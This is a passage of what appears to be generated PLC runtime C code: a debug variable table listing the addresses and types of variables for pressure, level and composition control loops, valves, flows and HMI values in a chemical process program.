+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), 